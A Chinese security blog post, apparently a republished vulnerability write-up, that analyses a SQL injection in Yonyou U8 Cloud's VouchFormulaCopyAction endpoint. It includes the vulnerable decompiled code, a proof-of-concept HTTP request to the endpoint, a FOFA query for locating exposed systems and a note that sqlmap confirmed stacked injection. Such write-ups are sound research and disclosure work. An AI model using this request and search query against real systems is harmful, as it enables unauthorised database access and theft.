文章总结: 用友U8Cloud系统的VouchFormulaCopyAction方法存在SQL注入漏洞,影响多个版本从1.0到5.0sp。漏洞位于selUnitList参数处理中,由于直接拼接用户输入到SQL查询中,攻击者可构造特殊请求获取数据库敏感信息。文章提供了漏洞原理分析、FOFA资产测绘语法以及利用SQLMAP进行漏洞验证的方法,建议受影响用户尽快更新或修补系统。
综合评分: 85
文章分类: 漏洞分析,漏洞预警,WEB安全,漏洞POC,应用安全
用友U8 Cloud系统VouchFormulaCopyAction方法SQL注入漏洞分析
原创
chobits02
C4安全
2025年12月2日 08:23
江苏
转载自发表在奇安信社区的文章,原创声明
一、漏洞简介
用友U8 Cloud系统VouchFormulaCopyAction方法存在SQL注入漏洞,攻击者可获取数据库敏感信息
二、影响版本
1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp
三、漏洞原理分析
首先看漏洞位于VouchFormulaCopyAction接口处,方法的完整路径为nc.ui.hbbb.innertrade.VouchFormulaCopyAction,因为是Action方法,所以是按照用友的ActionServlet方法调用的方法漏洞
VouchFormulaCopyAction中的关键execute方法完整代码如下
public ActionForward execute(ActionForm actionForm) { VouchQueryForm form = (VouchQueryForm)actionForm; String[] strCopyUnitCodes = getListValues("selCopyUnitList"); String[] strMeasPKs = getListValues("selItemList"); String[] strCounterUnitPKs = getListValues("selUnitList"); VouchFormulaCondVO cond = new VouchFormulaCondVO(); cond.setSelfUnitCode(form.getSelfUnitPK()); cond.setItemCodes(strMeasPKs); cond.setCounterUnitCodes(strCounterUnitPKs); try { VouchFormulaVO[][] formulas = VouchFormulaBO\_Client.getVouchFormulasByCond(cond); ArrayList<VouchFormulaVO> vForm = new ArrayList(); int i; for (i = 0; i < formulas.length; i++) { for (int j = 0; j < (formulas[i]).length; j++) vForm.add(formulas[i][j]); } for (i = 0; i < strCopyUnitCodes.length; i++) { if (!strCopyUnitCodes[i].equals(form.getSelfUnitPK())) { for (int j = 0; j < vForm.size(); j++) { VouchFormulaVO formula = vForm.get(j); formula.setSelfUnitCode(strCopyUnitCodes[i]); } VouchFormulaBO_Client.addVouchFormulas(vForm.<VouchFormulaVO>toArray(new VouchFormulaVO[0])); } } } catch (Exception e) { AppDebug.debug(e); return (ActionForward)new ErrorForward(e.getMessage()); } return (ActionForward)new CloseForward("window_close();"); }
这里是有三个传参的,分别是selCopyUnitList、selItemList、selUnitList
可以反向定位一下,这些传参进了哪些方法当中,可以看到VouchFormulaCondVO中保存了上面的传参,再作为cond传入了getVouchFormulasByCond方法之中
那么去找这个方法,一通定位来到方法当中
这里面多个参数都有注入,所以我挑其中一个讲讲
StringBuffer bufSQL = new StringBuffer("select form,counterunit_code,item_code from iufo_dxdata_form where selfunit_code=?"); bufSQL.append(" and counterunit_code in ("); String[] strUnitPKs = cond.getCounterUnitCodes(); for (int i = 0; i < strUnitPKs.length; i++) { bufSQL.append("'" + strUnitPKs[i] + "'"); if (i < strUnitPKs.length - 1) { bufSQL.append(","); } else { bufSQL.append(")"); } }
这里cond的counterUnitCodes对应传参selUnitList
它用for循环将数组里面的字符串进行拼接,以and counterunit_code in (开头,最后再以)结尾闭合括号
因此很明显可以在数组里面传括号提前闭合,造成SQL注入漏洞
该漏洞的请求数据包如下
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.hbbb.innertrade.VouchFormulaCopyAction&method=execute&selCopyUnitList=1&selUnitList=1&selItemList=1 HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: close
四、总结
用友U8 Cloud系统VouchFormulaCopyAction方法存在SQL注入漏洞,攻击者可获取数据库敏感信息
五、资产测绘
FOFA语法
app="用友-U8-Cloud"
六、漏洞复现
POC
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.hbbb.innertrade.VouchFormulaCopyAction&method=execute&selCopyUnitList=1&selUnitList=1&selItemList=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
selUnitList参数存在注入,使用SQLMAP注入验证下,存在堆叠注入
#
团队内部知识大陆链接如下,折扣优惠中~
往期推荐
3.7k下载量漏扫VscanPlus,对接FOFA和ARL系统
【海外SRC】漏洞挖掘之业务漏洞
【实战SRC】漏洞挖掘之wsdl服务注入
应急响应后门排查指南
Yakit漏洞 – 查看插件(已修复)
挖漏之旅杂谈 – 终焉的奖池
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:C4安全 chobits02《用友U8 Cloud系统VouchFormulaCopyAction方法SQL注入漏洞分析》